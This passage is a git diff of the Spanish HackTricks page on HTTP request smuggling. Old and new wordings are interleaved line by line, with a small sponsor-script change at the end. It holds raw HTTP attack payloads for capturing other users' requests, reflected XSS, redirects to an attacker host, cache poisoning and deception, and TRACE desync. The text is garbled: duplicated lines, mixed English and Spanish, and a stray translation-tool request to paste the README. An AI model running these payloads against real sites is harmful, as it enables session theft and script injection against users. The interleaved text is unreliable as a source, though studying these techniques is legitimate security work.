Por el contrario, en el ataque TE.CL, la solicitud inicial `POST` utiliza `Transfer-Encoding: chunked`, y la solicitud incrustada posterior se procesa según la cabecera `Content-Length`. Al igual que en el ataque CL.TE, el proxy front-end pasa por alto la solicitud smuggled `GET /admin`, concediendo inadvertidamente acceso a la ruta restringida `/admin`.
|
||||
|
||||
### Revelando la reescritura de solicitudes en el front-end <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
|
||||
### Revelando la reescritura de solicitudes del front-end <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
|
||||
|
||||
Las aplicaciones suelen emplear un **front-end server** para modificar las peticiones entrantes antes de pasarlas al **back-end server**. Una modificación típica consiste en añadir cabeceras, como `X-Forwarded-For: <IP of the client>`, para retransmitir la IP del cliente al back-end. Entender estas modificaciones puede ser crucial, ya que podría revelar formas de **eludir protecciones** o **descubrir información o endpoints ocultos**.
|
||||
Las aplicaciones a menudo emplean un **servidor front-end** para modificar las solicitudes entrantes antes de pasarlas al servidor back-end. Una modificación típica consiste en añadir cabeceras, como `X-Forwarded-For: <IP of the client>`, para reenviar la IP del cliente al back-end. Comprender estas modificaciones puede ser crucial, ya que podría revelar maneras de **bypass protections** o **uncover concealed information or endpoints**.
|
||||
|
||||
Para investigar cómo un proxy altera una solicitud, localiza un parámetro `POST` que el back-end refleje en la respuesta. Luego, crea una solicitud utilizando ese parámetro al final, similar a lo siguiente:
|
||||
Para investigar cómo un proxy altera una solicitud, localiza un parámetro POST que el back-end refleje en la respuesta. Luego, crea una solicitud, usando este parámetro al final, similar a la siguiente:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
@ -451,19 +500,19 @@ Content-Length: 100
|
||||
|
||||
search=
|
||||
```
|
||||
En esta estructura, los componentes de la solicitud subsiguiente se anexan después de `search=`, que es el parámetro reflejado en la respuesta. Esta reflexión expondrá los encabezados de la solicitud subsiguiente.
|
||||
En esta estructura, los componentes de la solicitud subsecuente se agregan después de `search=`, que es el parámetro reflejado en la respuesta. Esta reflexión expondrá los encabezados de la solicitud subsecuente.
|
||||
|
||||
Es importante alinear el encabezado `Content-Length` de la solicitud anidada con la longitud real del contenido. Es recomendable comenzar con un valor pequeño e incrementarlo gradualmente, ya que un valor demasiado bajo truncará los datos reflejados, mientras que uno demasiado alto puede provocar que la solicitud falle.
|
||||
Es importante alinear el encabezado `Content-Length` de la solicitud anidada con la longitud real del contenido. Es recomendable empezar con un valor pequeño e incrementarlo gradualmente, ya que un valor demasiado bajo truncará los datos reflejados, mientras que uno demasiado alto puede provocar que la solicitud falle.
|
||||
|
||||
Esta técnica también es aplicable en el contexto de una vulnerabilidad TE.CL, pero la solicitud debería terminar con `search=\r\n0`. Independientemente de los caracteres de nueva línea, los valores se anexarán al parámetro `search`.
|
||||
Esta técnica también es aplicable en el contexto de una vulnerabilidad TE.CL, pero la solicitud debe terminar con `search=\r\n0`. Independientemente de los caracteres de nueva línea, los valores se anexarán al parámetro search.
|
||||
|
||||
Este método sirve principalmente para entender las modificaciones de solicitud realizadas por el proxy front-end, realizando esencialmente una investigación autodirigida.
|
||||
Este método sirve principalmente para entender las modificaciones de la solicitud realizadas por el proxy front-end, esencialmente realizando una investigación autodirigida.
|
||||
|
||||
### Capturando las solicitudes de otros usuarios <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
|
||||
|
||||
Es factible capturar las solicitudes del siguiente usuario agregando una solicitud específica como el valor de un parámetro durante una operación POST. Así es como esto puede llevarse a cabo:
|
||||
Es factible capturar las solicitudes del siguiente usuario anexando una solicitud específica como valor de un parámetro durante una operación POST. He aquí cómo puede lograrse esto:
|
||||
|
||||
Al anexar la siguiente solicitud como el valor de un parámetro, puedes almacenar la solicitud del cliente subsiguiente:
|
||||
Al anexar la siguiente solicitud como el valor de un parámetro, puedes almacenar la solicitud del cliente subsecuente:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
|
||||
@ -483,20 +532,20 @@ Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
|
||||
|
||||
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
|
||||
```
|
||||
En este escenario, el **comment parameter** está destinado a almacenar el contenido dentro de la sección de comentarios de una publicación en una página de acceso público. En consecuencia, el contenido de la solicitud siguiente aparecerá como un comentario.
|
||||
En este escenario, el **parámetro comment** está destinado a almacenar el contenido de la sección de comentarios de una publicación en una página accesible públicamente. En consecuencia, el contenido de la solicitud subsecuente aparecerá como un comentario.
|
||||
|
||||
Sin embargo, esta técnica tiene limitaciones. En general captura datos solo hasta el delimitador de parámetros usado en la smuggled request. Para envíos de formularios URL-encoded, este delimitador es el carácter `&`. Esto significa que el contenido capturado de la solicitud del usuario víctima se detendrá en el primer `&`, que incluso puede ser parte del query string.
|
||||
Sin embargo, esta técnica tiene limitaciones. Generalmente captura datos solo hasta el delimitador de parámetros usado en la solicitud smuggled. Para envíos de formularios codificados en URL, este delimitador es el carácter `&`. Esto significa que el contenido capturado de la solicitud del usuario víctima se detendrá en el primer `&`, que incluso puede formar parte de la query string.
|
||||
|
||||
Además, cabe destacar que este enfoque también es viable con una vulnerabilidad TE.CL. En esos casos, la solicitud debe terminar con `search=\r\n0`. Independientemente de los caracteres de nueva línea, los valores se anexarán al parámetro search.
|
||||
Además, cabe señalar que este enfoque también es viable con una vulnerabilidad TE.CL. En esos casos, la solicitud debe finalizar con `search=\r\n0`. Independientemente de los caracteres de nueva línea, los valores se anexarán al parámetro search.
|
||||
|
||||
### Usando HTTP request smuggling para explotar reflected XSS
|
||||
### Usando HTTP request smuggling para explotar Reflected XSS
|
||||
|
||||
HTTP Request Smuggling puede aprovecharse para explotar páginas web vulnerables a **Reflected XSS**, ofreciendo ventajas significativas:
|
||||
HTTP Request Smuggling puede aprovecharse para explotar páginas web vulnerables a **Reflected XSS**, ofreciendo ventajas importantes:
|
||||
|
||||
- La interacción con los usuarios objetivo **no es necesaria**.
|
||||
- Permite la explotación de XSS en partes de la solicitud que son **normalmente inalcanzables**, como HTTP request headers.
|
||||
- Permite explotar XSS en partes de la solicitud que son **normalmente inaccesibles**, como las cabeceras de la solicitud HTTP.
|
||||
|
||||
En escenarios en los que un sitio web es susceptible a Reflected XSS a través del header User-Agent, el siguiente payload demuestra cómo explotar esta vulnerabilidad:
|
||||
En escenarios donde un sitio web es susceptible a Reflected XSS a través de la cabecera User-Agent, el siguiente payload demuestra cómo explotar esta vulnerabilidad:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
|
||||
@ -517,26 +566,26 @@ Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
A=
|
||||
```
|
||||
This payload está estructurado para explotar la vulnerabilidad de la siguiente manera:
|
||||
This payload is structured to exploit the vulnerability by:
|
||||
|
||||
1. Iniciando una petición `POST`, aparentemente típica, con el encabezado `Transfer-Encoding: chunked` para indicar el inicio del smuggling.
|
||||
2. Seguida de un `0`, marcando el final del cuerpo del mensaje chunked.
|
||||
3. Luego se introduce una petición `GET` smuggled, donde el encabezado `User-Agent` es inyectado con un script, `<script>alert(1)</script>`, desencadenando el XSS cuando el servidor procesa esta petición posterior.
|
||||
1. Iniciando una `POST` request, aparentemente típica, con un `Transfer-Encoding: chunked` header para indicar el inicio del smuggling.
|
||||
2. Seguida de un `0`, marcando el final del chunked message body.
|
||||
3. Luego, se introduce una `GET` request smuggled, donde el `User-Agent` header es inyectado con un script, `<script>alert(1)</script>`, desencadenando el XSS cuando el servidor procesa esta request subsecuente.
|
||||
|
||||
Al manipular el `User-Agent` mediante smuggling, el payload elude las restricciones normales de las peticiones, explotando así la vulnerabilidad Reflected XSS de una manera no estándar pero efectiva.
|
||||
Al manipular el `User-Agent` mediante smuggling, el payload evita las restricciones normales de la request, explotando así la vulnerabilidad Reflected XSS de una manera no estándar pero efectiva.
|
||||
|
||||
#### HTTP/0.9
|
||||
|
||||
> [!CAUTION]
|
||||
> En caso de que el contenido del usuario se refleje en una respuesta con un **`Content-type`** como **`text/plain`**, se impediría la ejecución del XSS. Si el servidor soporta **HTTP/0.9** ¡podría ser posible sortear esto!
|
||||
> En caso de que el contenido del usuario se refleje en una respuesta con un **`Content-type`** como **`text/plain`**, previniendo la ejecución del XSS. ¡Si el servidor soporta **HTTP/0.9** podría ser posible eludir esto!
|
||||
|
||||
La versión HTTP/0.9 fue anterior a la 1.0 y solo usa verbos **GET** y **no** responde con **headers**, solo con el body.
|
||||
La versión HTTP/0.9 precede a la 1.0 y solo usa verbos **GET** y **no** responde con **headers**, solo el body.
|
||||
|
||||
En [**this writeup**](https://mizu.re/post/twisty-python), esto fue abusado mediante request smuggling y un **endpoint vulnerable que responde con la entrada del usuario** para introducir una petición con HTTP/0.9. El parámetro que se reflejará en la respuesta contenía una **falsa respuesta HTTP/1.1 (con headers y body)**, por lo que la respuesta contendría código JS ejecutable válido con un `Content-Type` de `text/html`.
|
||||
En [**this writeup**](https://mizu.re/post/twisty-python), esto fue abusado con un request smuggling y un **vulnerable endpoint que responderá con la entrada del usuario** para smugglear una request con HTTP/0.9. El parámetro que se reflejará en la respuesta contenía una **fake HTTP/1.1 response (with headers and body)**, por lo que la respuesta contendrá código JS ejecutable válido con un `Content-Type` de `text/html`.
|
||||
|
||||
### Explotando redirecciones en el mismo sitio con HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
|
||||
### Exploiting On-site Redirects with HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
|
||||
|
||||
Las aplicaciones a menudo redirigen de una URL a otra usando el hostname del encabezado `Host` en la URL de redirección. Esto es común con servidores web como Apache e IIS. Por ejemplo, solicitar una carpeta sin la barra final resulta en una redirección para incluir la barra:
|
||||
Las aplicaciones a menudo redirigen de una URL a otra usando el hostname del `Host` header en la URL de redirección. Esto es común en servidores web como Apache e IIS. Por ejemplo, solicitar una carpeta sin una barra final da lugar a una redirección para incluir la barra:
|
||||
```
|
||||
GET /home HTTP/1.1
|
||||
Host: normal-website.com
|
||||
@ -546,7 +595,7 @@ Resulta en:
|
||||
HTTP/1.1 301 Moved Permanently
|
||||
Location: https://normal-website.com/home/
|
||||
```
|
||||
Aunque aparentemente inofensivo, este comportamiento puede manipularse usando HTTP request smuggling para redirigir a los usuarios a un sitio externo. Por ejemplo:
|
||||
Aunque aparentemente inofensivo, este comportamiento puede ser manipulado usando HTTP request smuggling para redirigir a usuarios a un sitio externo. Por ejemplo:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
@ -560,7 +609,7 @@ GET /home HTTP/1.1
|
||||
Host: attacker-website.com
|
||||
Foo: X
|
||||
```
|
||||
Esta smuggled request podría provocar que la siguiente solicitud de usuario procesada sea redirigida a un sitio web controlado por un atacante:
|
||||
Esta smuggled request podría causar que la siguiente solicitud de usuario procesada sea redirigida a un sitio web controlado por un atacante:
|
||||
```
|
||||
GET /home HTTP/1.1
|
||||
Host: attacker-website.com
|
||||
@ -572,17 +621,17 @@ Resulta en:
|
||||
HTTP/1.1 301 Moved Permanently
|
||||
Location: https://attacker-website.com/home/
|
||||
```
|
||||
En este escenario, la solicitud de un usuario para un archivo JavaScript es secuestrada. El atacante puede comprometer al usuario sirviendo JavaScript malicioso en respuesta.
|
||||
En este escenario, la petición de un usuario para un archivo JavaScript es secuestrada. El atacante puede comprometer potencialmente al usuario al servir JavaScript malicioso en la respuesta.
|
||||
|
||||
### Exploiting Web Cache Poisoning via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
### Explotando Web Cache Poisoning a través de HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
Web cache poisoning can be executed if any component of the **infraestructura front-end almacena en caché contenido**, típicamente para mejorar el rendimiento. Al manipular la respuesta del servidor, es posible **poison the cache**.
|
||||
Web cache poisoning puede ejecutarse si cualquier componente de la **infraestructura front-end almacena contenido en caché**, típicamente para mejorar el rendimiento. Manipulando la respuesta del servidor, es posible **envenenar la caché**.
|
||||
|
||||
Anteriormente, observamos cómo las respuestas del servidor podían alterarse para devolver un error 404 (consultar [Basic Examples](#basic-examples)). De manera similar, es factible engañar al servidor para que entregue el contenido de `/index.html` en respuesta a una solicitud de `/static/include.js`. En consecuencia, el contenido de `/static/include.js` se reemplaza en la caché por el de `/index.html`, dejando `/static/include.js` inaccesible para los usuarios, lo que puede derivar en un Denial of Service (DoS).
|
||||
Anteriormente, observamos cómo las respuestas del servidor podían alterarse para devolver un error 404 (ver [Basic Examples](#basic-examples)). De manera similar, es factible engañar al servidor para que entregue el contenido de `/index.html` en respuesta a una petición por `/static/include.js`. En consecuencia, el contenido de `/static/include.js` queda reemplazado en la caché por el de `/index.html`, dejando `/static/include.js` inaccesible para los usuarios y pudiendo provocar un Denial of Service (DoS).
|
||||
|
||||
Esta técnica se vuelve especialmente potente si se descubre una **Open Redirect vulnerability** o si existe un **on-site redirect to an open redirect**. Tales vulnerabilidades pueden explotarse para reemplazar el contenido en caché de `/static/include.js` por un script controlado por el atacante, posibilitando esencialmente un ataque masivo de Cross-Site Scripting (XSS) contra todos los clientes que soliciten el `/static/include.js` actualizado.
|
||||
Esta técnica se vuelve particularmente potente si se descubre una **Open Redirect vulnerability** o si existe un **on-site redirect to an open redirect**. Tales vulnerabilidades pueden explotarse para reemplazar el contenido en caché de `/static/include.js` por un script bajo el control del atacante, habilitando esencialmente un ataque generalizado de Cross-Site Scripting (XSS) contra todos los clientes que soliciten el `/static/include.js` actualizado.
|
||||
|
||||
Below is an illustration of exploiting **cache poisoning combined with an on-site redirect to open redirect**. The objective is to alter the cache content of `/static/include.js` to serve JavaScript code controlled by the attacker:
|
||||
A continuación se muestra una ilustración de la explotación de **cache poisoning combined with an on-site redirect to open redirect**. El objetivo es alterar el contenido en caché de `/static/include.js` para servir código JavaScript controlado por el atacante:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable.net
|
||||
@ -600,20 +649,20 @@ Content-Length: 10
|
||||
|
||||
x=1
|
||||
```
|
||||
Fíjate en la request embebida que apunta a `/post/next?postId=3`. Esta request será redirigida a `/post?postId=4`, utilizando el **Host header value** para determinar el dominio. Al alterar el **Host header**, el atacante puede redirigir la request a su dominio (**on-site redirect to open redirect**).
|
||||
Observe la solicitud embebida que apunta a `/post/next?postId=3`. Esta solicitud será redirigida a `/post?postId=4`, utilizando el **Host header value** para determinar el dominio. Al alterar el **Host header**, el atacante puede redirigir la solicitud a su dominio (**on-site redirect to open redirect**).
|
||||
|
||||
Tras un exitoso **socket poisoning**, se debe iniciar una **GET request** para `/static/include.js`. Esta request será contaminada por la request previa de **on-site redirect to open redirect** y obtendrá el contenido del script controlado por el atacante.
|
||||
Después del exitoso **socket poisoning**, se debe iniciar una **GET request** para `/static/include.js`. Esta solicitud será contaminada por la solicitud previa de **on-site redirect to open redirect** y obtendrá el contenido del script controlado por el atacante.
|
||||
|
||||
Posteriormente, cualquier request para `/static/include.js` servirá el contenido cacheado del script del atacante, lanzando efectivamente un ataque XSS a gran escala.
|
||||
Posteriormente, cualquier solicitud a `/static/include.js` servirá el contenido almacenado en caché del script del atacante, lanzando efectivamente un amplio ataque XSS.
|
||||
|
||||
### Usando HTTP request smuggling para realizar web cache deception <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
|
||||
|
||||
> **¿Cuál es la diferencia entre web cache poisoning y web cache deception?**
|
||||
>
|
||||
> - En **web cache poisoning**, el atacante hace que la aplicación almacene contenido malicioso en la cache, y ese contenido se sirve desde la cache a otros usuarios de la aplicación.
|
||||
> - En **web cache deception**, el atacante hace que la aplicación almacene contenido sensible perteneciente a otro usuario en la cache, y luego el atacante recupera ese contenido de la cache.
|
||||
> - En **web cache poisoning**, el atacante hace que la aplicación almacene contenido malicioso en la caché, y ese contenido se sirve desde la caché a otros usuarios de la aplicación.
|
||||
> - En **web cache deception**, el atacante hace que la aplicación almacene contenido sensible perteneciente a otro usuario en la caché, y luego el atacante recupera ese contenido desde la caché.
|
||||
|
||||
El atacante construye una smuggled request que obtiene contenido sensible específico del usuario. Considera el siguiente ejemplo:
|
||||
El atacante crea una smuggled request que obtiene contenido sensible específico de un usuario. Considere el siguiente ejemplo:
|
||||
```markdown
|
||||
`POST / HTTP/1.1`\
|
||||
`Host: vulnerable-website.com`\
|
||||
@ -624,17 +673,17 @@ El atacante construye una smuggled request que obtiene contenido sensible espec
|
||||
`GET /private/messages HTTP/1.1`\
|
||||
`Foo: X`
|
||||
```
|
||||
Si esta smuggled request envenena una entrada de caché destinada a contenido estático (por ejemplo, `/someimage.png`), los datos sensibles de la víctima procedentes de `/private/messages` podrían almacenarse en caché bajo la entrada del contenido estático. En consecuencia, el atacante podría recuperar potencialmente estos datos sensibles en caché.
|
||||
Si esta smuggled request envenena una entrada de caché destinada a contenido estático (p. ej., `/someimage.png`), los datos sensibles de la víctima de `/private/messages` podrían almacenarse en caché bajo la entrada del contenido estático. En consecuencia, el atacante podría potencialmente recuperar esos datos sensibles en caché.
|
||||
|
||||
### Abusar de TRACE mediante HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
[**En este post**](https://portswigger.net/research/trace-desync-attack) se sugiere que si el servidor tiene el método TRACE habilitado podría ser posible abusar de él con un HTTP Request Smuggling. Esto se debe a que este método reflejará cualquier header enviado al servidor como parte del cuerpo de la respuesta. Por ejemplo:
|
||||
[**In this post**](https://portswigger.net/research/trace-desync-attack) se sugiere que si el servidor tiene el método TRACE habilitado podría ser posible abusar de él con HTTP Request Smuggling. Esto se debe a que este método reflejará cualquier cabecera enviada al servidor como parte del cuerpo de la respuesta. Por ejemplo:
|
||||
```
|
||||
TRACE / HTTP/1.1
|
||||
Host: example.com
|
||||
XSS: <script>alert("TRACE")</script>
|
||||
```
|
||||
Por favor pega aquí el contenido del archivo src/pentesting-web/http-request-smuggling/README.md que quieres que traduzca. Traduciré el texto relevante al español manteniendo exactamente la misma sintaxis markdown/html y sin traducir código, nombres de técnicas, links, rutas ni tags.
|
||||
Por favor, pega aquí el contenido del archivo src/pentesting-web/http-request-smuggling/README.md (el markdown completo). Traduciré el texto relevante al español manteniendo exactamente la misma sintaxis markdown/HTML y sin traducir código, nombres técnicos, enlaces, rutas ni etiquetas.
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: message/http
|
||||
@ -645,15 +694,17 @@ Host: vulnerable.com
|
||||
XSS: <script>alert("TRACE")</script>
|
||||
X-Forwarded-For: xxx.xxx.xxx.xxx
|
||||
```
|
||||
Un ejemplo de cómo abusar de este comportamiento sería **smuggle primero un HEAD request**. Esta request será respondida únicamente con los **headers** de un GET request (**`Content-Type`** entre ellos). Y smuggle **inmediatamente después del HEAD un TRACE request**, que estará **reflecting the sent data**.\\ Como la response del HEAD contendrá un header `Content-Length`, la **response del TRACE request será tratada como el body de la response HEAD, por lo tanto reflejando datos arbitrarios** en la respuesta.\\ Esta response será enviada a la siguiente request sobre la conexión, por lo que esto podría **ser usado en un cached JS file por ejemplo para inject arbitrary JS code**.
|
||||
Un ejemplo de cómo abusar de este comportamiento sería **smuggle first a HEAD request**. Esta request será respondida solo con los **headers** de una GET request (**`Content-Type`** entre ellos). Y smuggle **immediately after the HEAD a TRACE request**, which will be **reflecting the sent dat**a.\
|
||||
Como la respuesta HEAD contendrá un header `Content-Length`, la **response of the TRACE request will be treated as the body of the HEAD response, therefore reflecting arbitrary data** en la respuesta.\
|
||||
Esta respuesta se enviará a la siguiente request sobre la conexión, por lo que esto podría **used in a cached JS file for example to inject arbitrary JS code**.
|
||||
|
||||
### Abusing TRACE via HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
Se recomienda continuar siguiendo [**this post**](https://portswigger.net/research/trace-desync-attack), que sugiere otra forma de abusar del método TRACE. Como se comentó, smuggling un HEAD request y un TRACE request permite **controlar algunos datos reflejados** en la response al HEAD request. La longitud del body del HEAD request está básicamente indicada en el header `Content-Length` y se forma con la response al TRACE request.
|
||||
Se sugiere seguir [**this post**](https://portswigger.net/research/trace-desync-attack) para otra forma de abusar del método TRACE. Como se comenta, smuggling a HEAD request and a TRACE request es posible **control some reflected data** en la respuesta a la HEAD request. La longitud del body de la HEAD request está indicada básicamente en el header `Content-Length` y se forma con la respuesta a la TRACE request.
|
||||
|
||||
Por lo tanto, la nueva idea sería que, conociendo ese `Content-Length` y los datos suministrados en la TRACE response, es posible hacer que la TRACE response contenga una valid HTTP response después del último byte indicado por el `Content-Length`, permitiendo a un atacante controlar completamente la request hacia la siguiente response (lo cual podría usarse para realizar un cache poisoning).
|
||||
Por lo tanto, la nueva idea sería que, conociendo este `Content-Length` y los datos proporcionados en la TRACE response, es posible hacer que la TRACE response contenga una HTTP response válida después del último byte indicado por el Content-Length, permitiendo a un atacante controlar completamente la request de la siguiente response (lo que podría usarse para realizar un cache poisoning).
|
||||
|
||||
Ejemplo:
|
||||
Example:
|
||||
```
|
||||
GET / HTTP/1.1
|
||||
Host: example.com
|
||||
@ -672,7 +723,7 @@ Content-Length: 44\r\n
|
||||
\r\n
|
||||
<script>alert("response splitting")</script>
|
||||
```
|
||||
Generará estas respuestas (observe cómo la respuesta HEAD tiene un Content-Length que hace que la respuesta TRACE forme parte del cuerpo de la HEAD y, una vez que termina el Content-Length de la HEAD, se smuggled una respuesta HTTP válida):
|
||||
Generará estas respuestas (observe cómo la respuesta HEAD tiene un Content-Length que hace que la respuesta TRACE forme parte del cuerpo de HEAD y, una vez que el Content-Length de HEAD termina, se smuggled una HTTP response válida):
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/html
|
||||
@ -693,9 +744,9 @@ Content-Length: 50
|
||||
|
||||
<script>alert(“arbitrary response”)</script>
|
||||
```
|
||||
### Weaponizando HTTP Request Smuggling con HTTP Response Desynchronisation
|
||||
### Weaponizing HTTP Request Smuggling with HTTP Response Desynchronisation
|
||||
|
||||
¿Has encontrado alguna HTTP Request Smuggling vulnerability y no sabes cómo exploit it. Prueba estos otros métodos de exploitation:
|
||||
¿Has encontrado alguna vulnerabilidad de HTTP Request Smuggling y no sabes cómo explotarla? Prueba estos otros métodos de explotación:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -814,7 +865,7 @@ table.add(req)
|
||||
- [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
|
||||
- [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
|
||||
- [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
|
||||
- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Esta herramienta es un HTTP Fuzzer basado en gramática, útil para encontrar discrepancias inusuales relacionadas con request smuggling.
|
||||
- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Esta herramienta es un HTTP Fuzzer basado en gramática, útil para encontrar discrepancias inusuales de request smuggling.
|
||||
|
||||
## Referencias
|
||||
|
||||
@ -831,6 +882,7 @@ table.add(req)
|
||||
- [https://http1mustdie.com/](https://http1mustdie.com/)
|
||||
- Browser‑Powered Desync Attacks – [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
|
||||
- PortSwigger Academy – client‑side desync – [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync)
|
||||
- [https://portswigger.net/research/http1-must-die](https://portswigger.net/research/http1-must-die)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -15,7 +15,8 @@
|
||||
var mobilesponsorCTA = mobilesponsorSide.querySelector(".mobilesponsor-cta")
|
||||
|
||||
async function getSponsor() {
|
||||
const url = "https://book.hacktricks.wiki/sponsor"
|
||||
const currentUrl = encodeURIComponent(window.location.href);
|
||||
const url = `https://book.hacktricks.wiki/sponsor?current_url=${currentUrl}`;
|
||||
try {
|
||||
const response = await fetch(url, { method: "GET" })
|
||||
if (!response.ok) {
|
||||
|
Loading…
x
Reference in New Issue
Block a user